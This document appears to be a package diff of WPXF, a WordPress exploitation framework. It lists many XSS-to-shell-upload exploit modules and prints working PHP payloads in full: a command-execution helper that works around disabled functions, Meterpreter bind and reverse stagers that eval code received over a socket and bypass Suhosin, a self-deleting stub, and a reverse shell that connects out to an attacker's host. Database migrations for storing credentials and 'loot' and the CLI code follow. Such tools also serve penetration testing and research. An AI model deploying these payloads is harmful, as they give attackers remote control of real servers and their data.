- data/lib/wpxf/modules/exploit/xss/reflected/simple_slideshow_manager_reflected_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/reflected/slideshow_gallery_reflected_xss_shell_upload.rb +35 -0
- data/lib/wpxf/modules/exploit/xss/reflected/smart_marketing_xss_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/xss/reflected/social_buttons_pack_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/social_login_bws_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/social_pug_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/sp_project_document_manager_reflected_xss_shell_upload.rb +41 -0
- data/lib/wpxf/modules/exploit/xss/reflected/spamfree_reflected_xss_shell_upload.rb +44 -0
- data/lib/wpxf/modules/exploit/xss/reflected/spiffy_calendar_reflected_xss_shell_upload.rb +49 -0
- data/lib/wpxf/modules/exploit/xss/reflected/splashing_images_reflected_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/reflected/subscriber_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/tidio_gallery_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/timesheet_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/tracking_code_manager_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/tribulant_newsletter_reflected_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/reflected/tribulant_slideshow_gallery_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/trust_form_reflected_xss_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/xss/reflected/twitter_plugin_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/ultimate_csv_importer_reflected_xss_shell_upload.rb +83 -0
- data/lib/wpxf/modules/exploit/xss/reflected/ultimate_form_builder_lite_reflected_xss_shell_upload.rb +30 -0
- data/lib/wpxf/modules/exploit/xss/reflected/updater_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/user_access_manager_reflected_xss_shell_upload.rb +35 -0
- data/lib/wpxf/modules/exploit/xss/reflected/user_login_history_xss_shell_upload.rb +35 -0
- data/lib/wpxf/modules/exploit/xss/reflected/user_role_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/visitors_online_reflected_xss_shell_upload.rb +20 -0
- data/lib/wpxf/modules/exploit/xss/reflected/w3_total_cache_reflected_xss_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/xss/reflected/wang_guard_reflected_xss_shell_upload.rb +33 -0
- data/lib/wpxf/modules/exploit/xss/reflected/whizz_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/woo_email_control_reflected_xss_shell_upload.rb +41 -0
- data/lib/wpxf/modules/exploit/xss/reflected/wordpress_firewall_reflected_xss_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/xss/reflected/wp_advanced_importer_reflected_xss_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/xss/reflected/wp_filebase_download_manager_reflected_xss_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/xss/reflected/wp_live_chat_support_reflected_xss_shell_upload.rb +40 -0
- data/lib/wpxf/modules/exploit/xss/reflected/wp_mailster_reflected_xss_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/xss/reflected/wp_members_reflected_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/reflected/wp_retina_2x_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/reflected/wp_statistics_12.0.9_reflected_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/reflected/wp_statistics_reflected_xss_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/xss/reflected/wp_v4.4_xss_shell_upload.rb +54 -0
- data/lib/wpxf/modules/exploit/xss/reflected/wp_whois_domain_reflected_xss_shell_upload.rb +41 -0
- data/lib/wpxf/modules/exploit/xss/reflected/wpsolr_reflected_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/yoast_seo_xss_shell_upload.rb +34 -0
- data/lib/wpxf/modules/exploit/xss/reflected/zurl_preview_xss_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/xss/stored/admin_management_xtended_xss_shell_upload.rb +172 -0
- data/lib/wpxf/modules/exploit/xss/stored/all_in_one_seo_pack_xss_shell_upload.rb +208 -0
- data/lib/wpxf/modules/exploit/xss/stored/alo_easymail_csrf_xss_shell_upload.rb +48 -0
- data/lib/wpxf/modules/exploit/xss/stored/appointment_schedule_booking_system_stored_xss_shell_upload.rb +41 -0
- data/lib/wpxf/modules/exploit/xss/stored/arabic_font_csrf_stored_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/stored/caldera_forms_stored_xss_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/xss/stored/content_audit_csrf_stored_xss_shell_upload.rb +83 -0
- data/lib/wpxf/modules/exploit/xss/stored/dw_question_answer_stored_xss_shell_upload.rb +91 -0
- data/lib/wpxf/modules/exploit/xss/stored/dwnldr_xss_shell_upload.rb +58 -0
- data/lib/wpxf/modules/exploit/xss/stored/embed_comment_images_stored_xss_shell_upload.rb +57 -0
- data/lib/wpxf/modules/exploit/xss/stored/flickr_rss_csrf_xss_shell_upload.rb +38 -0
- data/lib/wpxf/modules/exploit/xss/stored/four04_to_three01_stored_xss_shell_upload.rb +50 -0
- data/lib/wpxf/modules/exploit/xss/stored/gwolle_guestbook_stored_xss_shell_upload.rb +47 -0
- data/lib/wpxf/modules/exploit/xss/stored/imageinject_csrf_xss_shell_upload.rb +53 -0
- data/lib/wpxf/modules/exploit/xss/stored/instagram_feed_csrf_stored_xss_shell_upload.rb +51 -0
- data/lib/wpxf/modules/exploit/xss/stored/ithemes_security_stored_xss_shell_upload.rb +40 -0
- data/lib/wpxf/modules/exploit/xss/stored/ithemes_security_v6.9.0_stored_xss_shell_upload.rb +40 -0
- data/lib/wpxf/modules/exploit/xss/stored/mdc_private_message_xss_shell_upload.rb +118 -0
- data/lib/wpxf/modules/exploit/xss/stored/newsletter_by_supsystic_csrf_stored_xss_shell_upload.rb +43 -0
- data/lib/wpxf/modules/exploit/xss/stored/participants_database_v1.7.5.9_stored_xss_shell_upload.rb +80 -0
- data/lib/wpxf/modules/exploit/xss/stored/safe_editor_xss_shell_upload.rb +60 -0
- data/lib/wpxf/modules/exploit/xss/stored/smart_google_code_inserter_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/stored/social_media_widget_csrf_xss_shell_upload.rb +39 -0
- data/lib/wpxf/modules/exploit/xss/stored/srbtranslatin_csrf_xss_shell_upload.rb +42 -0
- data/lib/wpxf/modules/exploit/xss/stored/ultimate_addons_for_vc_authenticated_stored_xss_shell_upload.rb +48 -0
- data/lib/wpxf/modules/exploit/xss/stored/ultimate_addons_for_vc_reflected_stored_xss_shell_upload.rb +37 -0
- data/lib/wpxf/modules/exploit/xss/stored/universal_analytics_authenticated_xss_shell_upload.rb +90 -0
- data/lib/wpxf/modules/exploit/xss/stored/user_login_log_authenticated_stored_xss_shell_upload.rb +45 -0
- data/lib/wpxf/modules/exploit/xss/stored/woo_custom_checkout_field_xss_shell_upload.rb +44 -0
- data/lib/wpxf/modules/exploit/xss/stored/wp_google_maps_stored_xss_shell_upload.rb +55 -0
- data/lib/wpxf/modules/exploit/xss/stored/wp_live_chat_support_stored_xss_shell_upload.rb +99 -0
- data/lib/wpxf/modules/exploit/xss/stored/wp_piwik_stored_xss_shell_upload.rb +36 -0
- data/lib/wpxf/modules/exploit/xss/stored/wp_v4.3_shortcode_xss_shell_upload.rb +55 -0
- data/lib/wpxf/net.rb +16 -0
- data/lib/wpxf/net/cookie_jar.rb +37 -0
- data/lib/wpxf/net/http_client.rb +206 -0
- data/lib/wpxf/net/http_options.rb +98 -0
- data/lib/wpxf/net/http_response.rb +44 -0
- data/lib/wpxf/net/http_server.rb +186 -0
- data/lib/wpxf/net/typhoeus_helper.rb +46 -0
- data/lib/wpxf/net/user_agent.rb +193 -0
- data/lib/wpxf/payloads/bind_php.rb +95 -0
- data/lib/wpxf/payloads/custom.rb +42 -0
- data/lib/wpxf/payloads/download_exec.rb +43 -0
- data/lib/wpxf/payloads/exec.rb +43 -0
- data/lib/wpxf/payloads/meterpreter_bind_tcp.rb +64 -0
- data/lib/wpxf/payloads/meterpreter_reverse_tcp.rb +50 -0
- data/lib/wpxf/payloads/reverse_tcp.rb +152 -0
- data/lib/wpxf/payloads/socket_helper.rb +50 -0
- data/lib/wpxf/utility.rb +12 -0
- data/lib/wpxf/utility/body_builder.rb +151 -0
- data/lib/wpxf/utility/reference_inflater.rb +34 -0
- data/lib/wpxf/utility/text.rb +81 -0
- data/lib/wpxf/versioning.rb +11 -0
- data/lib/wpxf/versioning/browser_versions.rb +56 -0
- data/lib/wpxf/versioning/os_versions.rb +18 -0
- data/lib/wpxf/wordpress.rb +24 -0
- data/lib/wpxf/wordpress/comments.rb +89 -0
- data/lib/wpxf/wordpress/file_download.rb +168 -0
- data/lib/wpxf/wordpress/fingerprint.rb +238 -0
- data/lib/wpxf/wordpress/hash_dump.rb +264 -0
- data/lib/wpxf/wordpress/login.rb +60 -0
- data/lib/wpxf/wordpress/options.rb +27 -0
- data/lib/wpxf/wordpress/plugin.rb +102 -0
- data/lib/wpxf/wordpress/posts.rb +26 -0
- data/lib/wpxf/wordpress/reflected_xss.rb +40 -0
- data/lib/wpxf/wordpress/shell_upload.rb +172 -0
- data/lib/wpxf/wordpress/staged_reflected_xss.rb +82 -0
- data/lib/wpxf/wordpress/stored_xss.rb +73 -0
- data/lib/wpxf/wordpress/urls.rb +131 -0
- data/lib/wpxf/wordpress/user.rb +35 -0
- data/lib/wpxf/wordpress/xss.rb +143 -0
- data/wpxf.gemspec +33 -0
- metadata +708 -0
@@ -0,0 +1,47 @@
|
|
1
|
+
<?php
|
2
|
+
$wpxf_exec = function ($wpxf_cmd) {
|
3
|
+
global $wpxf_disabled;
|
4
|
+
if (is_callable('shell_exec') && !in_array('shell_exec', $wpxf_disabled)) {
|
5
|
+
$wpxf_output = shell_exec($wpxf_cmd);
|
6
|
+
}
|
7
|
+
else if (is_callable('passthru') && !in_array('passthru', $wpxf_disabled)) {
|
8
|
+
ob_start();
|
9
|
+
passthru($wpxf_cmd);
|
10
|
+
$wpxf_output = ob_get_contents();
|
11
|
+
ob_end_clean();
|
12
|
+
}
|
13
|
+
else if (is_callable('system') && !in_array('system', $wpxf_disabled)) {
|
14
|
+
ob_start();
|
15
|
+
system($wpxf_cmd);
|
16
|
+
$wpxf_output = ob_get_contents();
|
17
|
+
ob_end_clean();
|
18
|
+
}
|
19
|
+
else if (is_callable('exec') && !in_array('exec', $wpxf_disabled)) {
|
20
|
+
$wpxf_output = array();
|
21
|
+
exec($wpxf_cmd, $wpxf_output);
|
22
|
+
$wpxf_output = join(chr(10), $wpxf_output).chr(10);
|
23
|
+
}
|
24
|
+
else if (is_callable('proc_open') && !in_array('proc_open', $wpxf_disabled)) {
|
25
|
+
$wpxf_handle = proc_open($wpxf_cmd, array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$wpxf_pipes);
|
26
|
+
$wpxf_output = NULL;
|
27
|
+
while (!feof($wpxf_pipes[1])) {
|
28
|
+
$wpxf_output .= fread($wpxf_pipes[1],1024);
|
29
|
+
}
|
30
|
+
@proc_close($wpxf_handle);
|
31
|
+
}
|
32
|
+
else if (is_callable('popen') && !in_array('popen', $wpxf_disabled)) {
|
33
|
+
$wpxf_fp = popen($wpxf_cmd,'r');
|
34
|
+
$wpxf_output = NULL;
|
35
|
+
if (is_resource($wpxf_fp)) {
|
36
|
+
while (!feof($wpxf_fp)) {
|
37
|
+
$wpxf_output.=fread($wpxf_fp,1024);
|
38
|
+
}
|
39
|
+
}
|
40
|
+
@pclose($wpxf_fp);
|
41
|
+
}
|
42
|
+
else {
|
43
|
+
$wpxf_output = 0;
|
44
|
+
}
|
45
|
+
return $wpxf_output;
|
46
|
+
};
|
47
|
+
?>
|
@@ -0,0 +1 @@
|
|
1
|
+
/*<?php /**/ error_reporting(0); if (is_callable('stream_socket_server')) { $srvsock = stream_socket_server("tcp://{$ip}:{$port}"); if (!$srvsock) { die(); } $s = stream_socket_accept($srvsock, -1); fclose($srvsock); $s_type = 'stream'; } elseif (is_callable('socket_create_listen')) { $srvsock = socket_create_listen(AF_INET, SOCK_STREAM, SOL_TCP); if (!$res) { die(); } $s = socket_accept($srvsock); socket_close($srvsock); $s_type = 'socket'; } elseif (is_callable('socket_create')) { $srvsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); $res = socket_bind($srvsock, $ip, $port); if (!$res) { die(); } $s = socket_accept($srvsock); socket_close($srvsock); $s_type = 'socket'; } else { die(); } if (!$s) { die(); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
|
@@ -0,0 +1 @@
|
|
1
|
+
/*<?php /**/ error_reporting(0); if (is_callable('stream_socket_server')) { $srvsock = stream_socket_server("tcp://{$ip}:{$port}"); if (!$srvsock) { die(); } $s = stream_socket_accept($srvsock, -1); fclose($srvsock); $s_type = 'stream'; } elseif (is_callable('socket_create_listen')) { $srvsock = socket_create_listen(AF_INET6, SOCK_STREAM, SOL_TCP); if (!$res) { die(); } $s = socket_accept($srvsock); socket_close($srvsock); $s_type = 'socket'; } elseif (is_callable('socket_create')) { $srvsock = socket_create(AF_INET6, SOCK_STREAM, SOL_TCP); $res = socket_bind($srvsock, $ip, $port); if (!$res) { die(); } $s = socket_accept($srvsock); socket_close($srvsock); $s_type = 'socket'; } else { die(); } if (!$s) { die(); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
|
@@ -0,0 +1 @@
|
|
1
|
+
/*<?php /**/ error_reporting(0); if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
|
@@ -0,0 +1,17 @@
|
|
1
|
+
<?php
|
2
|
+
@set_time_limit(0);
|
3
|
+
@ignore_user_abort(1);
|
4
|
+
@ini_set('max_execution_time',0);
|
5
|
+
unlink(preg_replace('@\(.*\(.*$@', '', __FILE__));
|
6
|
+
|
7
|
+
$wpxf_disabled = @ini_get('disable_functions');
|
8
|
+
|
9
|
+
if (!empty($wpxf_disabled)) {
|
10
|
+
$wpxf_disabled = preg_replace('/[, ]+/', ',', $wpxf_disabled);
|
11
|
+
$wpxf_disabled = explode(',', $wpxf_disabled);
|
12
|
+
$wpxf_disabled = array_map('trim', $wpxf_disabled);
|
13
|
+
}
|
14
|
+
else {
|
15
|
+
$wpxf_disabled = array();
|
16
|
+
}
|
17
|
+
?>
|
@@ -0,0 +1,76 @@
|
|
1
|
+
<?php
|
2
|
+
$write_a = null;
|
3
|
+
$error_a = null;
|
4
|
+
|
5
|
+
if (function_exists('pcntl_fork')) {
|
6
|
+
$pid = pcntl_fork();
|
7
|
+
|
8
|
+
if ($pid == -1) {
|
9
|
+
exit(1);
|
10
|
+
}
|
11
|
+
|
12
|
+
if ($pid) {
|
13
|
+
exit(0);
|
14
|
+
}
|
15
|
+
|
16
|
+
if (posix_setsid() == -1) {
|
17
|
+
exit(1);
|
18
|
+
}
|
19
|
+
}
|
20
|
+
|
21
|
+
umask(0);
|
22
|
+
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
|
23
|
+
if (!$sock) {
|
24
|
+
exit(1);
|
25
|
+
}
|
26
|
+
|
27
|
+
$descriptor_spec = array(
|
28
|
+
0 => array("pipe", "r"),
|
29
|
+
1 => array("pipe", "w"),
|
30
|
+
2 => array("pipe", "w")
|
31
|
+
);
|
32
|
+
|
33
|
+
$process = proc_open($shell, $descriptor_spec, $pipes);
|
34
|
+
if (!is_resource($process)) {
|
35
|
+
exit(1);
|
36
|
+
}
|
37
|
+
|
38
|
+
stream_set_blocking($pipes[0], 0);
|
39
|
+
stream_set_blocking($pipes[1], 0);
|
40
|
+
stream_set_blocking($pipes[2], 0);
|
41
|
+
stream_set_blocking($sock, 0);
|
42
|
+
|
43
|
+
while (1) {
|
44
|
+
if (feof($sock)) {
|
45
|
+
break;
|
46
|
+
}
|
47
|
+
|
48
|
+
if (feof($pipes[1])) {
|
49
|
+
break;
|
50
|
+
}
|
51
|
+
|
52
|
+
$read_a = array($sock, $pipes[1], $pipes[2]);
|
53
|
+
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
|
54
|
+
|
55
|
+
if (in_array($sock, $read_a)) {
|
56
|
+
$input = fread($sock, $chunk_size);
|
57
|
+
fwrite($pipes[0], $input);
|
58
|
+
}
|
59
|
+
|
60
|
+
if (in_array($pipes[1], $read_a)) {
|
61
|
+
$input = fread($pipes[1], $chunk_size);
|
62
|
+
fwrite($sock, $input);
|
63
|
+
}
|
64
|
+
|
65
|
+
if (in_array($pipes[2], $read_a)) {
|
66
|
+
$input = fread($pipes[2], $chunk_size);
|
67
|
+
fwrite($sock, $input);
|
68
|
+
}
|
69
|
+
}
|
70
|
+
|
71
|
+
fclose($sock);
|
72
|
+
fclose($pipes[0]);
|
73
|
+
fclose($pipes[1]);
|
74
|
+
fclose($pipes[2]);
|
75
|
+
proc_close($process);
|
76
|
+
?>
|
data/db/config.yml
ADDED
@@ -0,0 +1,17 @@
|
|
1
|
+
development:
|
2
|
+
adapter: sqlite
|
3
|
+
database:
|
4
|
+
max_connections: 5
|
5
|
+
pool_timeout: 5000
|
6
|
+
|
7
|
+
production:
|
8
|
+
adapter: sqlite
|
9
|
+
database:
|
10
|
+
max_connections: 5
|
11
|
+
pool_timeout: 5000
|
12
|
+
|
13
|
+
test: &test
|
14
|
+
adapter: sqlite
|
15
|
+
database:
|
16
|
+
max_connections: 5
|
17
|
+
pool_timeout: 5000
|
data/db/env.rb
ADDED
@@ -0,0 +1,19 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
ENV['WPXF_ENV'] = 'development' unless ENV['WPXF_ENV']
|
4
|
+
|
5
|
+
# Use the configuration file found in ~/.wpxf/db/config.yml primarily
|
6
|
+
# and fall back onto the packaged configuration in db/config.yml.
|
7
|
+
db_config_path = File.join(Wpxf.home_directory, 'db', 'config.yml')
|
8
|
+
db_config_path = File.join(__dir__, 'config.yml') unless File.exist?(db_config_path)
|
9
|
+
db_config = YAML.load_file(db_config_path)[ENV['WPXF_ENV']]
|
10
|
+
|
11
|
+
if db_config['database'].nil?
|
12
|
+
db_config['database'] = File.join(Wpxf.databases_path, "#{ENV['WPXF_ENV']}.db")
|
13
|
+
end
|
14
|
+
|
15
|
+
Sequel::Model.plugin :timestamps
|
16
|
+
Sequel::Model.db = Sequel.connect(db_config)
|
17
|
+
|
18
|
+
Sequel.extension :migration
|
19
|
+
Sequel::Migrator.run(Sequel::Model.db, File.join(__dir__, 'migrations'))
|
@@ -0,0 +1,15 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
Sequel.migration do
|
4
|
+
up do
|
5
|
+
create_table :workspaces do
|
6
|
+
primary_key :id
|
7
|
+
column :name, :string, size: 50, null: false
|
8
|
+
column :created_at, :datetime
|
9
|
+
end
|
10
|
+
end
|
11
|
+
|
12
|
+
down do
|
13
|
+
drop_table :workspaces
|
14
|
+
end
|
15
|
+
end
|
@@ -0,0 +1,20 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
Sequel.migration do
|
4
|
+
up do
|
5
|
+
create_table :credentials do
|
6
|
+
primary_key :id
|
7
|
+
foreign_key :workspace_id, :workspaces
|
8
|
+
|
9
|
+
column :username, :string, size: 250
|
10
|
+
column :password, :string, size: 250
|
11
|
+
column :host, :string, size: 250, null: false
|
12
|
+
column :port, :int, null: false
|
13
|
+
column :created_at, :datetime
|
14
|
+
end
|
15
|
+
end
|
16
|
+
|
17
|
+
down do
|
18
|
+
drop_table :credentials
|
19
|
+
end
|
20
|
+
end
|
@@ -0,0 +1,19 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
Sequel.migration do
|
4
|
+
up do
|
5
|
+
alter_table(:workspaces) do
|
6
|
+
add_index :name, unique: true, name: :name_unique_index
|
7
|
+
end
|
8
|
+
|
9
|
+
from(:workspaces).insert(name: 'default')
|
10
|
+
end
|
11
|
+
|
12
|
+
down do
|
13
|
+
alter_table(:workspaces) do
|
14
|
+
drop_index :name, name: :name_unique_index
|
15
|
+
end
|
16
|
+
|
17
|
+
from(:workspaces).select(name: 'default').delete
|
18
|
+
end
|
19
|
+
end
|
@@ -0,0 +1,16 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
Sequel.migration do
|
4
|
+
up do
|
5
|
+
create_table :logs do
|
6
|
+
primary_key :id
|
7
|
+
|
8
|
+
column :key, :string, size: 50, unique: true, null: false
|
9
|
+
column :value, :string, size: 100, null: false
|
10
|
+
end
|
11
|
+
end
|
12
|
+
|
13
|
+
down do
|
14
|
+
drop_table :logs
|
15
|
+
end
|
16
|
+
end
|
@@ -0,0 +1,18 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
Sequel.migration do
|
4
|
+
up do
|
5
|
+
create_table :modules do
|
6
|
+
primary_key :id
|
7
|
+
|
8
|
+
column :path, :string, size: 255, null: false, unique: true
|
9
|
+
column :name, :string, size: 255, null: false
|
10
|
+
column :type, :string, size: 11, null: false
|
11
|
+
column :class_name, :string, size: 255, null: false, unique: true
|
12
|
+
end
|
13
|
+
end
|
14
|
+
|
15
|
+
down do
|
16
|
+
drop_table :modules
|
17
|
+
end
|
18
|
+
end
|
@@ -0,0 +1,21 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
Sequel.migration do
|
4
|
+
up do
|
5
|
+
create_table :loot_items do
|
6
|
+
primary_key :id
|
7
|
+
foreign_key :workspace_id, :workspaces
|
8
|
+
|
9
|
+
column :path, :string, size: 500, null: false
|
10
|
+
column :notes, :string, size: 100, null: true
|
11
|
+
column :type, :string, size: 50, null: false
|
12
|
+
column :host, :string, size: 250, null: false
|
13
|
+
column :port, :int, null: false
|
14
|
+
column :created_at, :datetime
|
15
|
+
end
|
16
|
+
end
|
17
|
+
|
18
|
+
down do
|
19
|
+
drop_table :loot_items
|
20
|
+
end
|
21
|
+
end
|
data/lib/wpxf.rb
ADDED
@@ -0,0 +1,54 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
require 'date'
|
4
|
+
require 'fileutils'
|
5
|
+
require 'json'
|
6
|
+
require 'time'
|
7
|
+
require 'yaml'
|
8
|
+
require 'zip'
|
9
|
+
|
10
|
+
# The root namespace.
|
11
|
+
module Wpxf
|
12
|
+
def self.gemspec
|
13
|
+
spec_path = File.join(Wpxf.app_path, 'wpxf.gemspec')
|
14
|
+
Gem::Specification.load(spec_path)
|
15
|
+
end
|
16
|
+
|
17
|
+
def self.data_directory
|
18
|
+
File.join(app_path, 'data')
|
19
|
+
end
|
20
|
+
|
21
|
+
def self.app_path
|
22
|
+
File.expand_path(File.dirname(__dir__))
|
23
|
+
end
|
24
|
+
|
25
|
+
def self.version
|
26
|
+
gemspec.version.to_s
|
27
|
+
end
|
28
|
+
|
29
|
+
def self.home_directory
|
30
|
+
path = File.join(Dir.home, '.wpxf')
|
31
|
+
FileUtils.mkdir_p(path) unless File.directory?(path)
|
32
|
+
path
|
33
|
+
end
|
34
|
+
|
35
|
+
def self.databases_path
|
36
|
+
path = File.join(home_directory, 'db')
|
37
|
+
FileUtils.mkdir_p(path) unless File.directory?(path)
|
38
|
+
path
|
39
|
+
end
|
40
|
+
|
41
|
+
def self.change_stdout_sync(enabled)
|
42
|
+
original_setting = STDOUT.sync
|
43
|
+
STDOUT.sync = true
|
44
|
+
yield(enabled)
|
45
|
+
STDOUT.sync = original_setting
|
46
|
+
end
|
47
|
+
end
|
48
|
+
|
49
|
+
Wpxf.gemspec.dependencies.each do |d|
|
50
|
+
require d.name unless d.type == :development || d.name == 'rubyzip'
|
51
|
+
end
|
52
|
+
|
53
|
+
require_relative '../db/env'
|
54
|
+
require 'wpxf/core'
|
@@ -0,0 +1,121 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
module Wpxf
|
4
|
+
module Cli
|
5
|
+
# Functionality for configuring auto-complete functionality in Readline lib.
|
6
|
+
module AutoComplete
|
7
|
+
def setup_auto_complete
|
8
|
+
self.autocomplete_list = build_cmd_list
|
9
|
+
Readline.completer_word_break_characters = ''
|
10
|
+
Readline.completion_append_character = ' '
|
11
|
+
Readline.completion_proc = method(:readline_completion_proc)
|
12
|
+
end
|
13
|
+
|
14
|
+
def readline_completion_proc(input)
|
15
|
+
res = auto_complete_proc(input, autocomplete_list)
|
16
|
+
return [] unless res
|
17
|
+
res
|
18
|
+
end
|
19
|
+
|
20
|
+
def build_opts_hash
|
21
|
+
opts_hash = {}
|
22
|
+
return opts_hash unless context
|
23
|
+
|
24
|
+
mod = context.module
|
25
|
+
opts = mod.options.map(&:name)
|
26
|
+
opts += mod.payload.options.map(&:name) if mod.payload
|
27
|
+
opts.each do |o|
|
28
|
+
opts_hash[o] = {}
|
29
|
+
end
|
30
|
+
|
31
|
+
opts_hash
|
32
|
+
end
|
33
|
+
|
34
|
+
def build_payload_names_hash
|
35
|
+
opts_hash = {}
|
36
|
+
return opts_hash unless context&.module&.exploit_module?
|
37
|
+
|
38
|
+
opts_hash['payload'] = {}
|
39
|
+
Wpxf::Payloads.payload_list.each { |p| opts_hash['payload'][p[:name]] = {} }
|
40
|
+
opts_hash
|
41
|
+
end
|
42
|
+
|
43
|
+
def refresh_autocomplete_options
|
44
|
+
opts_hash = build_opts_hash.merge(build_payload_names_hash)
|
45
|
+
|
46
|
+
%w[set unset gset gunset setg unsetg].each do |key|
|
47
|
+
autocomplete_list[key] = opts_hash
|
48
|
+
end
|
49
|
+
end
|
50
|
+
|
51
|
+
def build_cmd_list
|
52
|
+
cmds = {}
|
53
|
+
permitted_commands.each { |c| cmds[c] = {} }
|
54
|
+
Wpxf::Models::Module.each { |m| cmds['use'][m.path] = {} }
|
55
|
+
cmds['show'] = {
|
56
|
+
'options' => {},
|
57
|
+
'advanced' => {},
|
58
|
+
'exploits' => {},
|
59
|
+
'auxiliary' => {}
|
60
|
+
}
|
61
|
+
cmds
|
62
|
+
end
|
63
|
+
|
64
|
+
# Process the current CLI input buffer to determine auto-complete options.
|
65
|
+
# @param input [String] the current input buffer.
|
66
|
+
# @param list [Array] the array of auto-complete options.
|
67
|
+
# @return [Array, nil] an array of possible commands.
|
68
|
+
def auto_complete_proc(input, list)
|
69
|
+
res = nil
|
70
|
+
|
71
|
+
# Nothing on this level, so return previous level.
|
72
|
+
return res if list.keys.empty?
|
73
|
+
|
74
|
+
# Enumerate each cmd/arg on this level, if there's a match, descend
|
75
|
+
# into the next level and update the return value if anything is
|
76
|
+
# returned and repeat.
|
77
|
+
list.each do |k, v|
|
78
|
+
next unless input =~ /^#{k}\s+/i
|
79
|
+
res = list.keys
|
80
|
+
trimmed_input = input.gsub(/^(#{k}\s+)(.+)/i, '\2')
|
81
|
+
|
82
|
+
# If there wasn't another level of input, return the list from
|
83
|
+
# the next level as the suggestions. For example, if `input` is
|
84
|
+
# "show " (emphasis on trailing space), then return
|
85
|
+
# ["show options", "show exploits"].
|
86
|
+
